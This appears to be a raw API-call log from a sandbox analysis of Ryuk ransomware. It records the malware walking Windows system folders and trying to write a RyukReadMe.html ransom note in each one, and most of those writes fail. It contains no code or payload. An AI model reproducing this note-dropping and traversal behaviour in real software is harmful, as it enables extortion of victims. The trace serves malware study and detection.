	[0123.292] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.292] GetLastError () returned 0x5
	[0123.292] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.292] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.293] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79b60
	[0123.293] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.293] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0123.293] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0123.293] FindClose (in: hFindFile=0x79b60 | out: hFindFile=0x79b60) returned 1
	[0123.293] SetLastError (dwErrCode=0x0) 
	[0123.293] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\RyukReadMe.html" (normalized: "c:\\boot\\zh-cn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.294] GetLastError () returned 0x5
	[0123.294] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.294] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.294] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0123.294] SetLastError (dwErrCode=0x0) 
	[0123.294] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.295] GetLastError () returned 0x5
	[0123.295] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.295] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.295] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79b60
	[0123.295] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.295] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0123.295] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0123.295] FindClose (in: hFindFile=0x79b60 | out: hFindFile=0x79b60) returned 1
	[0123.296] SetLastError (dwErrCode=0x0) 
	[0123.296] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\RyukReadMe.html" (normalized: "c:\\boot\\zh-hk\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.296] GetLastError () returned 0x5
	[0123.296] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.296] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.296] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0123.296] SetLastError (dwErrCode=0x0) 
	[0123.296] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.297] GetLastError () returned 0x5
	[0123.297] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.297] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.297] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79b60
	[0123.297] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.298] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0123.298] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0123.298] FindClose (in: hFindFile=0x79b60 | out: hFindFile=0x79b60) returned 1
	[0123.298] SetLastError (dwErrCode=0x0) 
	[0123.298] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\RyukReadMe.html" (normalized: "c:\\boot\\zh-tw\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.298] GetLastError () returned 0x5
	[0123.298] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.299] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.299] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0123.299] FindClose (in: hFindFile=0x79e00 | out: hFindFile=0x79e00) returned 1
	[0123.299] SetLastError (dwErrCode=0x0) 
	[0123.299] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.299] GetLastError () returned 0x5
	[0123.300] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0) returned 0
	[0123.300] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.300] FindNextFileW (in: hFindFile=0x79da0, lpFindFileData=0x26aec50 | out: lpFindFileData=0x26aec50*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x68, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0123.300] FindNextFileW (in: hFindFile=0x79da0, lpFindFileData=0x26aec50 | out: lpFindFileData=0x26aec50*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1
	[0123.300] FindNextFileW (in: hFindFile=0x79da0, lpFindFileData=0x26aec50 | out: lpFindFileData=0x26aec50*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1
	[0123.300] SetLastError (dwErrCode=0x0) 
	[0123.300] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.300] GetLastError () returned 0x5
	[0123.301] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0) returned 0
	[0123.301] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.301] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x50000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x24, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0123.301] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0123.301] SetLastError (dwErrCode=0x0) 
	[0123.301] CreateFileW (lpFileName="C:\\Config.Msi\\RyukReadMe.html" (normalized: "c:\\config.msi\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.302] GetLastError () returned 0x5
	[0123.302] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0) returned 0
	[0123.302] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.302] FindNextFileW (in: hFindFile=0x79da0, lpFindFileData=0x26aec50 | out: lpFindFileData=0x26aec50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1
	[0123.302] SetLastError (dwErrCode=0x0) 
	[0123.302] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.303] GetLastError () returned 0x5
	[0123.303] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0) returned 0
	[0123.303] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.303] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x50000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x24, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0123.304] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0123.304] SetLastError (dwErrCode=0x0) 
	[0123.304] CreateFileW (lpFileName="C:\\Documents and Settings\\RyukReadMe.html" (normalized: "c:\\documents and settings\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.305] GetLastError () returned 0x5
	[0123.305] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0) returned 0
	[0123.305] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.305] FindNextFileW (in: hFindFile=0x79da0, lpFindFileData=0x26aec50 | out: lpFindFileData=0x26aec50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4e9ad440, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0123.305] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0123.490] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4
	[0123.493] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.494] FindNextFileW (in: hFindFile=0x79da0, lpFindFileData=0x26aec50 | out: lpFindFileData=0x26aec50*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1
	[0123.494] SetLastError (dwErrCode=0x0) 
	[0123.494] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.494] GetLastError () returned 0x5
	[0123.494] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0) returned 0
	[0123.495] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.495] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*.*", lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x50000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x24, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0123.495] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0123.495] SetLastError (dwErrCode=0x0) 
	[0123.495] CreateFileW (lpFileName="C:\\MSOCache\\RyukReadMe.html" (normalized: "c:\\msocache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.495] GetLastError () returned 0x5
	[0123.496] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0) returned 0
	[0123.496] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.496] FindNextFileW (in: hFindFile=0x79da0, lpFindFileData=0x26aec50 | out: lpFindFileData=0x26aec50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4ecf3280, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0123.496] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0123.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x250
	[0123.499] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.499] FindNextFileW (in: hFindFile=0x79da0, lpFindFileData=0x26aec50 | out: lpFindFileData=0x26aec50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1
	[0123.500] SetLastError (dwErrCode=0x0) 
	[0123.500] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.500] GetLastError () returned 0x5
	[0123.500] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0) returned 0
	[0123.500] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.500] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x50000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x24, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0123.501] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0123.501] SetLastError (dwErrCode=0x0) 
	[0123.501] CreateFileW (lpFileName="C:\\PerfLogs\\RyukReadMe.html" (normalized: "c:\\perflogs\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
